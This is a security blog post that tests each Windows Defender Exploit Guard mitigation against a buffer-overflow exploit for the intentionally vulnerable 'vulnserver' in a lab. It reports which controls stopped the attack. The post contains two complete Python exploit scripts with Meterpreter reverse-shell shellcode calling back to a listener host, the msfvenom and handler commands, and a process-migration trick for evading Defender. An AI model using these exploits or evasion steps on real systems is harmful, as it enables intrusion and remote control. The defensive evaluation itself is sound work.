27 Jun 2020

Vulnserver Exploit vs Windows Defender Exploit Guard

I’ve taken notes for exploiting Stephen Bradshaws ‘vulnserver’ in a previous post. I saved those here.

This post evaluates the protection Windows Defender Exploit Guard can offer a vulnerable application.

We’re using vulnserver as an example, but thinking about it in the context of real applications that might still have unpatched vulnerabilities. Checking whether there are exploit guard capabilities that could offer protection even if the options are not compiled into the binary; making sure that we don’t reduce the functionality of the applications being protected.

Before we jump in, i should mention Matt Graeber’s excellent documentation for Exploit Guard which can be found here: https://github.com/palantir/exploitguard. The Microsoft documentation is here but i prefer Matt’s for the extra depth he provides.

The tl;dr for this post is that Exploit Guard definitely can provide additional protection for applications with serious unpatched vulnerabilities.

Summary of test results

Control Effective?
Arbitrary Code Guard YES
Block Remote Image Loads NO
Block Low Integrity Image Load NO
Code Integrity Guard N/A*
Control Flow Guard NO
DEP YES
Prevent Win32K System Call Table Use YES
Export Address Table Access Filtering YES
Mandatory ASLR YES
Import Address Filtering NO
Simulate Execution (SimExec) NO
Validate API Invocation (CallerCheck) YES
SEHOP YES
Validate Heap Integrity NO
Validate Stack Integrity NO

*Code integrity guard restricts loads to MSFT code. Vulnserver is not MSFT code.

I think it goes without saying that the table above is not meant to imply that some controls don’t work. All of the controls have their place for certain application types and exploits. The table shows the results when exploit guard was called on to defend a straightforward buffer overflow attack.

Exploit Background - Setting up the Tests

The vulnserver exploit we created in the previous post was:

import socket

#368 bytes: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.92 LPORT=443 -f python -b "\x00"

buf =  b""
buf += b"\xdb\xcb\xbb\xb1\xea\x49\x47\xd9\x74\x24\xf4\x5a\x2b"
buf += b"\xc9\xb1\x56\x31\x5a\x18\x83\xea\xfc\x03\x5a\xa5\x08"
buf += b"\xbc\xbb\x2d\x4e\x3f\x44\xad\x2f\xc9\xa1\x9c\x6f\xad"
buf += b"\xa2\x8e\x5f\xa5\xe7\x22\x2b\xeb\x13\xb1\x59\x24\x13"
buf += b"\x72\xd7\x12\x1a\x83\x44\x66\x3d\x07\x97\xbb\x9d\x36"
buf += b"\x58\xce\xdc\x7f\x85\x23\x8c\x28\xc1\x96\x21\x5d\x9f"
buf += b"\x2a\xc9\x2d\x31\x2b\x2e\xe5\x30\x1a\xe1\x7e\x6b\xbc"
buf += b"\x03\x53\x07\xf5\x1b\xb0\x22\x4f\x97\x02\xd8\x4e\x71"
buf += b"\x5b\x21\xfc\xbc\x54\xd0\xfc\xf9\x52\x0b\x8b\xf3\xa1"
buf += b"\xb6\x8c\xc7\xd8\x6c\x18\xdc\x7a\xe6\xba\x38\x7b\x2b"
buf += b"\x5c\xca\x77\x80\x2a\x94\x9b\x17\xfe\xae\xa7\x9c\x01"
buf += b"\x61\x2e\xe6\x25\xa5\x6b\xbc\x44\xfc\xd1\x13\x78\x1e"
buf += b"\xba\xcc\xdc\x54\x56\x18\x6d\x37\x3e\xed\x5c\xc8\xbe"
buf += b"\x79\xd6\xbb\x8c\x26\x4c\x54\xbc\xaf\x4a\xa3\xb5\xb8"
buf += b"\x6c\x7b\x7d\xa8\x92\x7c\x7d\xe0\x50\x28\x2d\x9a\x71"
buf += b"\x51\xa6\x5a\x7d\x84\x52\x51\xe9\x2d\xa2\x65\xb5\x59"
buf += b"\xa0\x65\x44\x21\x2d\x83\x16\x05\x7d\x1c\xd7\xf5\x3d"
buf += b"\xcc\xbf\x1f\xb2\x33\xdf\x1f\x19\x5c\x4a\xf0\xf7\x34"
buf += b"\xe3\x69\x52\xce\x92\x76\x49\xaa\x95\xfd\x7b\x4a\x5b"
buf += b"\xf6\x0e\x58\x8c\x61\xf0\xa0\x4d\x04\xf0\xca\x49\x8e"
buf += b"\xa7\x62\x50\xf7\x8f\x2c\xab\xd2\x8c\x2b\x53\xa3\xa4"
buf += b"\x40\x62\x31\x88\x3e\x8b\xd5\x08\xbf\xdd\xbf\x08\xd7"
buf += b"\xb9\x9b\x5b\xc2\xc5\x31\xc8\x5f\x50\xba\xb8\x0c\xf3"
buf += b"\xd2\x46\x6a\x33\x7d\xb9\x59\x47\x7a\x45\x1f\x60\x23"
buf += b"\x2d\xdf\x30\xd3\xad\xb5\xb0\x83\xc5\x42\x9e\x2c\x25"
buf += b"\xaa\x35\x65\x2d\x21\xd8\xc7\xcc\x36\xf1\x86\x50\x36"
buf += b"\xf6\x12\x63\x4d\x77\xa4\x84\xb2\x91\xc1\x85\xb2\x9d"
buf += b"\xf7\xba\x64\xa4\x8d\xfd\xb4\x93\x9e\x48\x98\xb2\x34"
buf += b"\xb2\x8e\xc5\x1c"

final = "A" * 2002
final += "\xaf\x11\x50\x62"
final += "\x90" * 16
final += buf
final += "C" * (3000 - len(final))
 
print "buffer length: " + str(len(final))
 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('10.0.0.57',4444))
s.send("TRUN /.:/ " + final)

print "payload sent"
 
s.close()

If you’re trying this yourself, the only modification you’ll need to make is to generate some new shellcode to suit the IP address. We’ve saved the msfvenom command that you could use to do that in the script above to demonstrate.

Then we quickly confirm ‘vulnserver’ is listening and the windows firewall is happy to deliver connections to it:

vulnserver-working

From the client side (our kali machine) we can perform a quick test with nc to make sure we can interact with the vulnserver service:

vulnserver-client

Then to make sure the exploit works on our fully patched Windows 10 system we start a listener for the payload we generated for the exploit above:

msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.92
set LPORT 443
exploit

And let it rip:

root@kali:~/Desktop# python vulnserver-exploit.py 
buffer length: 3000
payload sent

When we execute the exploit we get a bit of a surprise:

vulnserver-msfdied

We see the socket connection, and can tell that the exploit is trying to retrieve some more bytes, but the connections dies very soon after that.

Taking a look on the Windows 10 host we can see that Defender has crushed the reverse shell (second stage) payload. From a blue team perspective, this is pretty sweet!

But, this didn’t happen the last time i worked with vulnserver. It seems as though Defender is stepping up it’s game.

The initial exploit and shellcode is unlikely to be the issue given that it was able to do it’s job and start to collect the second stage from the listener. It seems that the second stage was when Defender took an an interest.

vulnserver-defender

To get around this, we’ll change to a https payload using the following to generate the shellcode for the exploit: msfvenom -p windows/meterpreter/reverse_https LHOST=10.0.0.92 LPORT=443 -f python -b "\x00"

This time, we get a shell but it’s killed pretty quickly (in seconds).

On the ‘server’ side we can see that Windows Defender is once again furious.On the kali machine we see the meterpreter session hang and eventually it offers to terminate the channel:

meterpreter > shell
Process 8168 created.
Channel 1 created.
Microsoft Windows [Version 10.0.18363.836]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\chad.JMPESP\Desktop>hostname

Terminate channel 1? [y/N]  y

We determine that quickly migrating to another process running at the same level as vulnserver is enough to keep us out of trouble for our tests:

meterpreter > migrate 6972
[*] Migrating from 2524 to 6972...
[*] Migration completed successfully.
meterpreter > shell
Process 9204 created.
Channel 1 created.
Microsoft Windows [Version 10.0.18363.836]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\chad.JMPESP>hostname
hostname
dev

C:\Users\chad.JMPESP>whoami
whoami
jmpesp\chad

C:\Users\chad.JMPESP>

We have a stable shell on the remote host (‘dev’). It’s a fully patched Windows 10 machine.

Anyway, apologies for the detour but it was great to learn that defender is getting sharper on payloads delivered into a process; even without any extra configuration or help from the new exploit controls.

Before we move on, a quick summary of how we’ll test exploit guard:

  1. We’ll deliver the exploit against ‘vulnserver’ via a python script (shown below)
  2. The shellcode will be a https payload (example generation command in the script comments)
  3. We’ll quickly migrate to another process to avoid defender getting it’s hands on us.

Code:

import socket

#527 bytes: msfvenom -p windows/meterpreter/reverse_https LHOST=10.0.0.92 LPORT=443 -f python -b "\x00"

buf =  b""
buf += b"\xbf\xea\xa2\x98\x39\xdb\xc9\xd9\x74\x24\xf4\x5d\x2b"
buf += b"\xc9\xb1\x7e\x31\x7d\x12\x03\x7d\x12\x83\x2f\xa6\x7a"
buf += b"\xcc\x53\x4f\xf8\x2f\xab\x90\x9d\xa6\x4e\xa1\x9d\xdd"
buf += b"\x1b\x92\x2d\x95\x49\x1f\xc5\xfb\x79\x94\xab\xd3\x8e"
buf += b"\x1d\x01\x02\xa1\x9e\x3a\x76\xa0\x1c\x41\xab\x02\x1c"
buf += b"\x8a\xbe\x43\x59\xf7\x33\x11\x32\x73\xe1\x85\x37\xc9"
buf += b"\x3a\x2e\x0b\xdf\x3a\xd3\xdc\xde\x6b\x42\x56\xb9\xab"
buf += b"\x65\xbb\xb1\xe5\x7d\xd8\xfc\xbc\xf6\x2a\x8a\x3e\xde"
buf += b"\x62\x73\xec\x1f\x4b\x86\xec\x58\x6c\x79\x9b\x90\x8e"
buf += b"\x04\x9c\x67\xec\xd2\x29\x73\x56\x90\x8a\x5f\x66\x75"
buf += b"\x4c\x14\x64\x32\x1a\x72\x69\xc5\xcf\x09\x95\x4e\xee"
buf += b"\xdd\x1f\x14\xd5\xf9\x44\xce\x74\x58\x21\xa1\x89\xba"
buf += b"\x8a\x1e\x2c\xb1\x27\x4a\x5d\x98\x2f\xe2\x3b\x56\xb0"
buf += b"\x92\xb4\xff\xde\x0b\x6f\x97\x52\xbb\xa9\x60\x94\x96"
buf += b"\x87\xb5\x39\x4a\xbb\x1a\xed\x84\x05\x9c\x11\x55\x37"
buf += b"\xf3\x6b\x3c\xab\x67\xed\x91\x06\x59\xdd\xcd\x40\xf2"
buf += b"\x74\x60\xf5\x93\xf1\x0f\xd5\x25\xaa\xcf\x23\x97\x63"
buf += b"\x2b\x6c\xb3\xf1\x22\x08\x5e\x98\xc0\xff\x97\x4a\x19"
buf += b"\x3b\xf7\xe0\x2f\x01\xc6\x35\xfe\x45\x01\x16\x92\xcc"
buf += b"\x3a\x33\x4a\x48\xd9\xd8\xe1\x39\x21\x77\xcc\x93\x58"
buf += b"\x20\xcf\xc9\xc9\x7d\x5a\xf1\xbe\xd2\xf2\x4e\x41\xd5"
buf += b"\x02\x59\x9f\xd5\x02\x99\x30\xae\x33\xf3\x7b\x0c\x72"
buf += b"\x74\xbb\xe4\x36\x57\x8f\x3c\xb5\xc9\x95\x09\x5e\x43"
buf += b"\x04\x38\xc7\x1c\x95\xd6\x5f\x91\x72\x4f\x33\x22\xb1"
buf += b"\xc5\xc5\xa4\xee\xbe\x5f\x42\x7f\x14\x99\xef\x3b\xd9"
buf += b"\xa3\xa0\xf2\x91\x65\x68\xba\x17\xe9\xc2\x0a\x91\x80"
buf += b"\xab\xf0\xb2\x10\x6f\x7c\x61\xc9\x08\x33\xbe\x55\x93"
buf += b"\xb2\x87\x0f\x4e\x33\x43\xb0\x20\xd3\x04\x39\x5f\xe5"
buf += b"\x54\xec\xe9\x2f\xf9\x67\xea\x9d\x16\xf3\xb9\xb2\xb5"
buf += b"\xab\x6e\x62\x52\xbf\xc4\xa4\x99\xc0\x32\x2e\xb7\x34"
buf += b"\xe2\x26\xc8\x7a\x1c\xb6\x41\x9c\x76\xb2\x01\x37\x98"
buf += b"\xec\xc9\xb2\xe0\x8e\x8c\xc2\x38\xfd\xc3\x6f\x90\x57"
buf += b"\x8c\xa2\x10\x4f\x37\x42\xc9\xea\x07\xc9\xe6\x9c\x0f"
buf += b"\x21\x07\x5c\x78\x02\xf7\x69\x98\x75\x22\xde\x2d\x47"
buf += b"\x25\xa6\xcd\x57\xb6\x4c\x8e\x3f\xb6\x80\x0e\xc0\xde"
buf += b"\xa0\x0e\x80\x1e\xf3\x66\x58\xbb\xa0\x93\xa7\x16\xd5"
buf += b"\x0f\x0b\x10\x3e\xf8\xc3\x22\xe0\x07\x14\x70\xb6\x6f"
buf += b"\x06\xe0\xbf\x92\xd9\xd9\x3a\x92\x52\x2d\xcf\x14\x9a"
buf += b"\x72\x4a\xda\xe9\x91\x0c\x18\x4e\xb2\xc7\x61\x8e\xbd"
buf += b"\x26\xae\x5f\x72\x66\xfe\xb1\x4b\x44\xfe\x76\x5b\x1d"
buf += b"\x5c\xde\xf6\x5d\xf2\x20\xd3"

final = "A" * 2002
final += "\xaf\x11\x50\x62"
final += "\x90" * 16
final += buf
final += "C" * (3000 - len(final))
 
print "buffer length: " + str(len(final))
 
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('10.0.0.57',4444))
s.send("TRUN /.:/ " + final)

print "payload sent"
 
s.close()

Testing - Exploit Guard v Vulnserver exploit

In this section, we’ll configure each exploit guard control, one by one, for VulnServer.exe.

To add an exploit guard rule for a new process just type ‘exploit’ at the start menu. You’ll see a shortcut to the right spot in the Defender options. Then, click on ‘programs’ and create a new process rule for the application you’d like to protect.

vulnserver-eg

In between testing for each exploit guard control we will go back and check that the normal operation of the application hasn’t been affected by just starting vulnserver and making a connection from the client.

root@kali:~/Desktop# nc -nv 10.0.0.57 4444
(UNKNOWN) [10.0.0.57] 4444 (?) open
Welcome to Vulnerable Server! Enter HELP for help.

We’ll start at the top of the controls list and work down.

Keep in mind, Matt Graebers documentation is a great place to check for the windows event log entries to expect if Exploit Guard gets involved and is able to protect vulnserver against our attacks.

Arbitrary Code Guard

This control prevents the introduction of non-image-backed executable code and should prevent code pages from being modified. “non-image-backed executable code” is the interesting part here - our bad code is not coming from an image, it’s being pulled from our listener on the kali machine.

vulnserver-ecg

In the test, we do see the initial connection being made:

msf5 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://10.0.0.92:443
[*] https://10.0.0.92:443 handling request from 10.0.0.57; (UUID: ytta0cyf) Staging x86 payload (181337 bytes) ...
[*] Meterpreter session 5 opened (10.0.0.92:443 -> 10.0.0.57:49700) at 2020-06-27 17:58:16 -0400
[*] https://10.0.0.92:443 handling request from 10.0.0.57; (UUID: ytta0cyf) Staging x86 payload (181337 bytes) ...
[*] Meterpreter session 6 opened (10.0.0.92:443 -> 127.0.0.1) at 2020-06-27 17:58:16 -0400

But, that’s the end of it. We are never able to move past this phase.

We tried a few times and each time we’re stopped right after trying to shove the stage 2 payload into the remote process.

Inspecting the event logs we can see: Process '\Device\HarddiskVolume1\Users\chad.JMPESP\Desktop\vulnserver.exe' (PID 2664) was blocked from generating dynamic code.

vulnserver-ecg

That’s awesome! And it makes sense. The initial exploit is just data that happens to make a mess of the code in memory, but windows is able to step in and say ‘not on your nelly’ when we attempt to pull arbitrary code into the process for the second stage because it is not backed by an image.

Result: Successful Mitigation

I want to add a note here from (bad) experience with this control: If you’re in audit mode in a corporate environment, and you’re forwarding windows events (WEF), you might come up against performance challenges if you aren’t careful with applications you opt in. Our team found that apps like Slack have behaviors which trip this control up repetitively. In audit mode it might be hundreds of events per minute; in block mode, Slack will crash. There’s obvious benefit with this exploit guard control as demonstrated above. Just make sure you test it thoroughly in your environment. When we got it wrong it contributed to excessive CPU load on machines attributed to windows event forwarding in task manager

Block Remote Image Loads

vulnserver-bri

We don’t expect too much success with this control for the attack we’re testing. This control would be more relevant for shellcode that attempted to pull binary images (.dlls) from a remote location and load them. More like the LoadLibrary(PATHBUFFER)) approach. Matt’s documentation explains that it: “Prevents/logs the loading of images from remote UNC/WebDAV shares”.

msf5 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://10.0.0.92:443
[*] https://10.0.0.92:443 handling request from 10.0.0.57; (UUID: o8h6uuel) Staging x86 payload (181337 bytes) ...
[*] Meterpreter session 8 opened (10.0.0.92:443 -> 10.0.0.57:49711) at 2020-06-27 18:17:20 -0400

meterpreter > migrate 6972
[*] Migrating from 9208 to 6972...
[*] Migration completed successfully.

As expected, this control did not provide value against this particular attack and we were able to move to a different process for a stable shell.

No exploit guard related event is logged.

Result: No protection.

Block Low Integrity Image Load

The documentation says that this control “Prevents the loading of images marked with Low Integrity.”.

Similar to the previous control we believe this is going to restrict the exploited process from loading some binaries LoadLibrary style.

vulnserver-bli

msf5 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://10.0.0.92:443
[*] https://10.0.0.92:443 handling request from 10.0.0.57; (UUID: zgulass5) Staging x86 payload (181337 bytes) ...
[*] Meterpreter session 9 opened (10.0.0.92:443 -> 10.0.0.57:49717) at 2020-06-27 18:30:43 -0400

meterpreter > migrate 6972
[*] Migrating from 5676 to 6972...
[*] Migration completed successfully.
meterpreter > shell
Process 7592 created.
Channel 1 created.
Microsoft Windows [Version 10.0.18363.836]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\chad.JMPESP>

As expected, the control does not provide value in this scenario and the exploit and resulting shell is stable.

Nothing is logged in the exploit protections event log.

Result: No protection

Code Integrity Guard

This won’t work for us. Code Integrity Guard blocks loading of images which are unsigned by Microsoft: vulnserver is in this category.

vulnserver-cig

We tested it to be thorough, but as expected, we can’t even start the process because it attempts to load a non MSFT dll:

vulnserver-cig-error

Event 12: Process '\Device\HarddiskVolume1\Users\chad.JMPESP\Desktop\vulnserver.exe' (PID 792) was blocked from loading the non-Microsoft-signed binary '\Users\chad.JMPESP\Desktop\essfunc.dll'.

Result: N/A

Control Flow Guard

This is an interesting control. CFG should make it “much harder for exploits to execute arbitrary code through vulnerabilities such as buffer overflows” which is what we are looking at here.

But despite some of the negative rants about the control you can find on the Internet, Microsoft explain it as being enabled at compile time for binaries:

We strongly encourage developers to enable CFG for their applications. You don’t have to enable CFG for every part of your code, as a mixture of CFG enabled and non-CFG enabled code will execute fine. But failing to enable CFG for all code can open gaps in the protection.”.

So which is it?

vulnserver-cfg

Vulnserver is not compiled with CFG, so let’s see if we pop an event with our buffer overflow exploit:

msf5 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://10.0.0.92:443
[*] https://10.0.0.92:443 handling request from 10.0.0.57; (UUID: qfk9lnyh) Staging x86 payload (181337 bytes) ...
[*] Meterpreter session 10 opened (10.0.0.92:443 -> 10.0.0.57:49723) at 2020-06-27 18:54:47 -0400

meterpreter > migrate 6972
[*] Migrating from 792 to 6972...
[*] Migration completed successfully.
meterpreter > shell
Process 7976 created.
Channel 1 created.
Microsoft Windows [Version 10.0.18363.836]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\chad.JMPESP>

The exploit is successful and we have a stable shell. There is no event logged in event viewer.

It appears that CFG has not detected issues here. For a future test we could recompile the Vulnserver binary, or maybe just the .dll with the /CFG parameter and try again. But that’s a job for another day. For now, we’ll stop believing everything we read on internet forums and go back to trusting the Microsoft documentation.

Result: No protection.

Data Execution Prevention (DEP)

Data Execution Prevention should be on by default as a system wide control.

If you’re new to DEP it is designed to put some guard rails on which pages in memory can be executed.

That’s likely to be pretty helpful with the exploit we’re using. Our exploit hijacks control of execution then relies on some of the pages of memory we’ve modified being executable.

vulnserver-dep

In testing, DEP does save the day.

The save is not logged in the Exploit Guard section of the event log though. It appears as an event 1000 in the application log.

It was interesting that even with a system wide setting to have DEP enabled by default the exploit has worked in all the previous tests.

System Wide DEP not covering us was puzzling at first, but we found this snip in the Microsoft documentation:

Only configurable for 32-bit (x86) apps, permanently enabled for all other architectures”. This seems to be the reason that we see a difference between the system wide setting and Vulnserver in default configuration.

For reference, the event log result when we forced DEP on the vulnserver.exe application as an individual setting was:

Faulting application name: vulnserver.exe, version: 0.0.0.0, time stamp: 0x4ce63b00
Faulting module name: unknown, version: 0.0.0.0, time stamp: 0x00000000
Exception code: 0xc0000005
Fault offset: 0x012cf9c8
Faulting process id: 0x1e6c
Faulting application start time: 0x01d64cdad1c7b2ba
Faulting application path: C:\Users\chad.JMPESP\Desktop\vulnserver.exe
Faulting module path: unknown
Report Id: 28c4b336-243d-426e-9cc6-4f32960224b4
Faulting package full name: 
Faulting package-relative application ID: 

So explicitly calling out DEP as an exploit guard control seems to have value for 32 bit applications, even when it is already enabled system wide.

Result: Successful Mitigation

Prevent Win32K System Call Table Use

We expect that the meterpreter shellcode is looking up the functions from the Win32k System call table. It seems that this control might be effective against our exploit. But looking at Matt’s description: A user-mode GUI thread attempted to access the Win32K syscall table. Win32K syscalls are used frequently to trigger elevation of privilege”. That’s not us (the GUI part) but maybe the control still covers both CLI and GUI anyway?

Let’s test:

vulnserver-w32k

Interesting. We started to get a meterpreter session, but it died.

msf5 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://10.0.0.92:443
[*] https://10.0.0.92:443 handling request from 10.0.0.57; (UUID: qjmgl1rm) Staging x86 payload (181337 bytes) ...
[*] Meterpreter session 11 opened (10.0.0.92:443 -> 10.0.0.57:49729) at 2020-06-27 20:40:51 -0400

Sure enough, an event 10 is logged:

Process '\Device\HarddiskVolume1\Users\chad.JMPESP\Desktop\vulnserver.exe' (PID 4048) was blocked from making system calls to Win32k.sys.

vulnserver-w32k-error

Nice. We tested it a couple of times, and it’s a winner.

Result: Successful Mitigation

Export Address Table Access Filtering

vulnserver-eaf

We’ll go all in on this control and let windows keep a close eye on the functions that exploits would usually abuse with the extra checkbox shown above.

The expectation is that the msfvenom payload is going to get itself in trouble here and be crushed by Defender.

The result was really strong for the blue team. No hint of a connection to our listener. The exploit was stopped in its tracks.

On the server side, we noticed that vulnserver was crashed right away when the exploit was delivered.

Unlike most of the other controls tested so far, this exploit protection was logged in the User-Mode section.

Process 'C:\Users\chad.JMPESP\Desktop\vulnserver.exe' (PID 7128) was blocked from accessing the Export Address Table for module 'C:\WINDOWS\SYSTEM32\ntdll.dll'.

vulnserver-eaf-error

Result: Successful Mitigation

Mandatory ASLR

vulnserver-aslr

Like the per-process enforced DEP, the enforced ASLR on a per-process level is effective.

The application crashes, and we see event 1001 in the application event log.

Fault bucket , type 0
Event Name: BEX
Response: Not available
Cab Id: 0

Problem signature:
P1: vulnserver.exe
P2: 0.0.0.0
P3: 4ce63b00
P4: StackHash_2beb
P5: 0.0.0.0
P6: 00000000
P7: PCH_10_FROM_ntdll+0x000723DC
P8: c0000005
P9: badc0de1
P10: 

P9 - badc0de1 nice.

And also:

Fault bucket , type 0
Event Name: BEX
Response: Not available
Cab Id: 0

Problem signature:
P1: vulnserver.exe
P2: 0.0.0.0
P3: 4ce63b00
P4: PayloadRestrictions.dll
P5: 10.0.18362.1
P6: 77901827
P7: 0006e6bd
P8: c0000409
P9: 00000033
P10: 

P4 - PayloadRestrictions.dll

The BEX part is also interesting.

It is a “Buffer Overflow Exception”, usually associated with DEP. But in this case, appears to be the result of our mandatory ASLR. https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc738483(v=ws.10)?redirectedfrom=MSDN

Result: Successful Mitigation

Import Address Filtering

IAF detects dangerous operations being resolved by malicious code. This sounds promising.

vulnserver-iaf

Fire!

root@kali:~/Desktop# python vulnserver-exploit.py 
buffer length: 3000
payload sent

Ooof. Weak sauce:

msf5 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://10.0.0.92:443
[*] https://10.0.0.92:443 handling request from 10.0.0.57; (UUID: wksdfqa1) Staging x86 payload (181337 bytes) ...
[*] Meterpreter session 12 opened (10.0.0.92:443 -> 10.0.0.57:49733) at 2020-06-27 21:40:24 -0400

meterpreter > migrate 6972
[*] Migrating from 6536 to 6972...
[*] Migration completed successfully.
meterpreter > shell
Process 6436 created.
Channel 1 created.
Microsoft Windows [Version 10.0.18363.836]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\chad.JMPESP>hostname
hostname
dev

C:\Users\chad.JMPESP>

No event logged, and a nice stable shell on the machine.

We tried to learn more about the control because it sounded like one that should help.

Sophos explain it as:

An attacker eventually needs the addresses of specific system functions (e.g. kernel32!VirtualProtect) to be able to perform malicious activities. These addresses can be retrieved from different sources, one of which is the import address table (IAT) of a loaded module. The IAT is used as a lookup table when an application calls a function in a different module. Because a compiled program cannot know the memory location of the libraries it depends upon, an indirect jump is required whenever an API call is made. As the dynamic linker loads modules and joins them together, it writes actual addresses into the IAT slots so that they point to the memory locations of the corresponding library functions.

We probably need to do more digging, but based on that sophos description the angle we’d like to run down is that this control attempts to keep an eye on shellcode that might attempt to change the access protections on areas of memory inside the function. We don’t manually/deliberately do that with our shellcode in this exploit. VirtualProtect is documented here.

Result: No protection.

Simulate Execution (SimExec)

We’re into the Return Oriented Programming (ROP) protections. Very interesting stuff but since this control is specifically targeted at ROP based attacks it might not be relevant here. This exploit doesn’t use ROP gymnastics but let’s check to be sure.

vulnserver-simexec

No luck. We still get our shell.

vulnserver-simexec-shell

We didn’t see any benefit against this attack, but it’s a control that is specifically targeted against ROP style exploits and it wasn’t realistic to expect we’d see coverage with this simple buffer overflow.

Result: No protection.

Validate API Invocation (CallerCheck)

The hope with this control is that we can ensure sensitive API’s can only be invoked by legitimate callers.

vulnserver-apicallercheck

It worked. The vulnserver application crashed before ever establishing a connection with my listener.

Process 'C:\Users\chad.JMPESP\Desktop\vulnserver.exe' (PID 6172) was blocked from calling the API 'LoadLibraryA' due to return-oriented programming (ROP) exploit indications.

vulnserver-api-check

Matt’s documentation provides notes on which API’s you can expect this control to catch.

LoadLibraryA, LoadLibraryW, LoadLibraryExA, LoadLibraryExW, LdrLoadDll, VirtualAlloc, VirtualAllocEx, NtAllocateVirtualMemory, VirtualProtect, VirtualProtectEx, NtProtectVirtualMemory, HeapCreate, RtlCreateHeap, CreateProcessA, CreateProcessW, CreateProcessInternalA, CreateProcessInternalW, NtCreateUserProcess, NtCreateProcess, NtCreateProcessEx, CreateRemoteThread, CreateRemoteThreadEx, NtCreateThreadEx, WriteProcessMemory, NtWriteVirtualMemory, WinExec, LdrGetProcedureAddressForCaller, GetProcAddress, GetProcAddressForCaller, LdrGetProcedureAddress, LdrGetProcedureAddressEx, CreateProcessAsUserA, CreateProcessAsUserW, GetModuleHandleA, GetModuleHandleW, RtlDecodePointer, DecodePointer

This event is in the user mode section of the exploit mitigations event log.

Like most of the exploit guard controls it’s best to test this one against your corporate applications with audit mode first.

Result: Successful Mitigation

SEHOP

This control aims to protect the structured exception handler chain. Exploits that leverage the exception handler usually try to overwrite an address in the exception handling chain so that execution is redirected to the shellcode after the exploit causes a crash. That’s not the way the exploit we are testing was designed, but we’ll test it anyway to be thorough.

vulnserver-sehop

Interestingly, the control is successful. No connection to the listener and the vulnserver application is terminated immediately when we send the exploit.

The crash is logged in the application log as a 1001; we can see the PayloadRestrictions.dll in the error report.

Fault bucket , type 0
Event Name: BEX
Response: Not available
Cab Id: 0

Problem signature:
P1: vulnserver.exe
P2: 0.0.0.0
P3: 4ce63b00
P4: PayloadRestrictions.dll
P5: 10.0.18362.1
P6: 77901827
P7: 0006e6bd
P8: c0000409
P9: 00000033
P10: 

Attached files:
\\?\C:\ProgramData\Microsoft\Windows\WER\Temp\WERD009.tmp.WERInternalMetadata.xml

Just to confirm that this is not system wide DEP or something confusing the results we removed the SEHOP control and executed the exploit again. It returned the same reliable connection right away.

Result: Successful Mitigation

Validate Heap Integrity

This control will attempt to detect heap corruption.

vulnserver-vhi

‘Validate Heap Integrity’ didn’t provide any protection against this particular exploit (which makes sense, since we are targeting the stack).

msf5 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://10.0.0.92:443
[*] https://10.0.0.92:443 handling request from 10.0.0.57; (UUID: psltbask) Staging x86 payload (181337 bytes) ...
[*] Meterpreter session 15 opened (10.0.0.92:443 -> 10.0.0.57:49751) at 2020-06-28 12:10:10 -0400

meterpreter > migrate 6972
[*] Migrating from 2620 to 6972...
[*] Migration completed successfully.
meterpreter > shell
Process 5728 created.
Channel 1 created.
Microsoft Windows [Version 10.0.18363.836]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\chad.JMPESP>type c:\windows\win.ini
type c:\windows\win.ini
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

C:\Users\chad.JMPESP>

Result: No protection.

Validate Stack Integrity

This control should ensure that the stack has not been redirected for sensitive functions.

vulnserver-si

This control didn’t provide us any cover against the exploit we were testing with.

msf5 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://10.0.0.92:443
[*] https://10.0.0.92:443 handling request from 10.0.0.57; (UUID: wqzbb8c7) Staging x86 payload (181337 bytes) ...
[*] Meterpreter session 16 opened (10.0.0.92:443 -> 10.0.0.57:49757) at 2020-06-28 12:21:21 -0400

meterpreter > migrate 6972
[*] Migrating from 3924 to 6972...
[*] Migration completed successfully.
meterpreter > shell
Process 8184 created.
Channel 1 created.
Microsoft Windows [Version 10.0.18363.836]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\chad.JMPESP>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 30C4-4CD4

 Directory of C:\Users\chad.JMPESP

06/11/2020  08:39 PM    <DIR>          .
06/11/2020  08:39 PM    <DIR>          ..
06/11/2020  08:39 PM             1,194 .bash_history
05/30/2020  11:34 AM                80 .gitconfig
05/30/2020  10:58 AM    <DIR>          .ssh
05/31/2020  09:21 AM             1,101 .viminfo
05/30/2020  10:59 AM    <DIR>          .vscode
05/30/2020  10:55 AM    <DIR>          3D Objects
05/30/2020  10:55 AM    <DIR>          Contacts
06/27/2020  12:42 PM    <DIR>          Desktop
05/30/2020  10:58 AM    <DIR>          Documents
06/11/2020  08:50 PM    <DIR>          Downloads
05/30/2020  10:55 AM    <DIR>          Favorites
05/30/2020  10:55 AM    <DIR>          Links
05/30/2020  10:55 AM    <DIR>          Music
05/31/2020  10:57 AM    <DIR>          OneDrive
05/31/2020  02:22 PM    <DIR>          PESecurity
05/30/2020  10:55 AM    <DIR>          Pictures
05/30/2020  10:55 AM    <DIR>          Saved Games
05/30/2020  10:55 AM    <DIR>          Searches
05/30/2020  11:30 AM    <DIR>          Videos
               3 File(s)          2,375 bytes
              18 Dir(s)   6,126,120,960 bytes free

C:\Users\chad.JMPESP>

